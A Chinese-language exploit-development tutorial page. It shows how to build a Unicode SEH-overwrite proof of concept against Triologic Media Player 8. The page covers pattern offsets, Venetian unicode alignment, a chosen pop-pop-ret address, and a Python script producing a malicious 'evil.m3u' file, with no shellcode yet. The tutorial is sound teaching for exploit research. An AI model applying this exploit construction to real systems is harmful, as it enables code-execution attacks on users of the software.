返回介绍

Nseh 和 SEH

发布于 2025-01-03 23:32:53 字数 4117 浏览 0 评论 0 收藏 0

这部分我们要处理 SEH 和 unicode,很多 unicode 的漏洞都是基于 SEH 利用的,像往常一样用 metsaploit 模式字符串替换。

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]

需要提及的是,至少在我的机器,当我用!mona 搜索 metasploit 模式字符串被卡住了(一直 Searching…). 幸运的是这发生在我们得到结果后. 你可以看到下面的截图(不完全) 分析。

从上图可以看到 SEH 被两个字节(记住传入 2 字节会转化为 4 字节的 uniocde) 覆写, 536 字节覆盖到 SEH. 因此新的缓冲区像下面这样:

buffer = "\x90"*536 + [SEH] + "B"*4464 
buffer = "\x90"*534 + [nSEH] + [SEH] + "B"*4464

由于某种原因上面上面的偏移不准确(可能是 immunity 在分析的时候卡住了). 经过一会测试我发现差两个字节,正确的布局应该是下面这样:

buffer = "\x90"*536 + [nSEH] + [SEH] + "B"*4462 
buffer = "\x90"*536 + "C"*2 + "D"2 + "B"*4462

重新打开这个 POC, shift+f9 忽略初始异常后,可以看到 eip 被 DD’s 覆写(DD=0x4444 由于 unicode 变成 0x00440044). 继续下去之前我需要解释几件事. 一般上基于 SEH 的利用我们想要(1) 找一个指向 pop pop retn 的指针 (2)nSEH 写入短跳转指令跳过 SEH. 如果你还不了解这些我建议你看本系列教程的第三部分. Unicode SEH 利用略有不同. 我们会用 pop pop retn 覆写 SEH 但不可能用短跳转指令覆写 Nseh.

继续之前我们看看 unicode 指令是如何对齐的

ASCII   ==> ...AAAA...
Unicode ==> ...0041004100410041...

But lets see what this looks like when it gets translated to instructions:
...
41     INC ECX
004100   ADD BYTE PTR DS:[ECX],AL
41     INC ECX
004100   ADD BYTE PTR DS:[ECX],AL
...

So this is very very interesting! It seems like one byte will remain intact and the following byte will 
"absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when 
executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP
or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple 
of candidates to absorb these 00's (these won't always be suitable):

006E00   ADD BYTE PTR DS:[ESI],CH
006F00   ADD BYTE PTR DS:[EDI],CH
007000   ADD BYTE PTR DS:[EAX],DH
007100   ADD BYTE PTR DS:[ECX],DH
007200   ADD BYTE PTR DS:[EDX],DH
007300   ADD BYTE PTR DS:[EBX],DH

回到 Nseh, 既然不能覆写短跳转指令,那么就用一些无害指令替换,执行后不会破坏我们的缓冲区. 像下面这样:

nSEH = "\x41\x71" 
SEH = ?????
buffer = "\x90"*536 + "\x41\x71" + "D"2 + "B"*4462

还剩两个问题

(1) 找一条 unicode 兼容的 pop pop retn 指令地址替换 SEH

(2) 这个地址同样应该是无害的(=头痛). 幸运的是我们可以让 Mona 帮助我们找到合适的地址. 看下面的截图:

我测试了所有 11 条指针只有一条是合适的。

Pointer: 0x004100f2 : pop esi # pop ebx # ret 04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [triomp8.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.0.0 (C:\Program Files\Triologic\Triologic Media Player\triomp8.exe)
Buffer: buffer = "\x90"*536 + "\x41\x71" + "\xF2\x41" + "B"*4462

下面两个截图显示执行到 pop pop retn 并返回,重新整理下 POC

#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41     INC ECX           #
#          0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:    PREFIX REPNE:       #
#          0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
boom = SEH #more to come
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

我们已经成功绕过 unicode SEH 结构. 深吸一口气,拍拍自己的背呵呵,如果你还不理解这些内容的话我建议你看看 Phrack 的文章, corelan 的 unicode 教程也值得一读。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文